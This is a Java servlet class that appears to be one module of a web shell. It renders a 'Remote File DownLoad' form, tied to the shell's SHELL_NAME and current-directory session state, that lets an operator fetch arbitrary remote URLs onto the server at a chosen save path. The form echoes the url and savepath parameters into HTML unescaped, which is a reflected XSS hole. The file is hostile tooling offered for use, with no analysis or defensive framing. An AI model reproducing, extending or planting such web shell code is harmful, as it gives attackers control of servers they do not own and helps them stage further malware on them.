package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

//VDown
public class VdInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String savepath = request.getParameter("savepath");
            String url = request.getParameter("url");
            if (Utils.isEmpty(url))
                url = "http://www.forjj.com/";
            if (Utils.isEmpty(savepath)) {
                savepath = session.getAttribute(CURRENT_DIR).toString();
            }
            if (!Utils.isEmpty(session.getAttribute("done"))) {
                Utils.outMsg(out, "Download Remote File Success!");
                session.removeAttribute("done");
            }
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<h2>Remote File DownLoad &raquo;</h2>" +
                    "<p>" +
                    "<input type=\"hidden\" name=\"o\" value=\"downRemote\">" +
                    "Remote File URL:" +
                    "  <input class=\"input\" name=\"url\" value=\"" + url + "\" id=\"url\" type=\"text\" size=\"70\"  />" +
                    "Save Path:" +
                    "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\"" + savepath + "\" type=\"text\" size=\"70\"  />" +
                    "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />" +
                    "</p>" +
                    "</form></table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}